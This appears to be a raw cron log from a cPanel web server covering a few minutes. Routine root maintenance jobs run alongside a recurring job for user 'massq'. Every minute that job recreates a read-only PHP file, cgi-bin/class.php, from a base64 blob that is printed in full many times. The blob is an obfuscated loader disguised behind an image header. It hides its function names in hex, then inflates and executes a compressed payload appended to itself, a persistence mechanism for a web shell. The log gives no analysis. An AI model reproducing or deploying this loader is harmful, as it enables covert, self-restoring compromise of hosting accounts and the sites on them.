Sep  4 09:51:01 server CROND[29875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:51:01 server CROND[29876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:51:01 server CROND[29877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:52:01 server CROND[30267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:52:01 server CROND[30268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:52:01 server CROND[30269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:53:01 server CROND[30646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:53:01 server CROND[30647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:53:01 server CROND[30648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:54:01 server CROND[31036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:54:01 server CROND[31035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:54:01 server CROND[31037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:55:01 server CROND[31419]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:55:01 server CROND[31421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:55:01 server CROND[31424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:55:01 server CROND[31425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:55:01 server CROND[31426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:55:01 server CROND[31427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:55:01 server CROND[31422]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:56:01 server CROND[32344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:56:01 server CROND[32345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:56:01 server CROND[32346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:57:01 server CROND[32744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:57:01 server CROND[32747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:57:01 server CROND[32745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:57:01 server CROND[32746]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 09:58:01 server CROND[708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:58:01 server CROND[709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:58:01 server CROND[710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:59:01 server CROND[1162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:59:01 server CROND[1163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:59:01 server CROND[1164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:00:02 server CROND[1594]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 10:00:02 server CROND[1595]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:00:02 server CROND[1598]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:00:02 server CROND[1603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:00:02 server CROND[1601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:00:02 server CROND[1605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:00:02 server CROND[1608]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:00:02 server CROND[1609]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 10:00:02 server CROND[1606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:00:02 server CROND[1604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:01:01 server CROND[2585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:01:01 server CROND[2586]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 10:01:01 server CROND[2588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:01:01 server CROND[2589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:01:01 server run-parts(/etc/cron.hourly)[2586]: starting 0anacron
Sep  4 10:01:01 server run-parts(/etc/cron.hourly)[2614]: finished 0anacron
Sep  4 10:02:01 server CROND[2993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:02:01 server CROND[2994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:02:01 server CROND[2995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
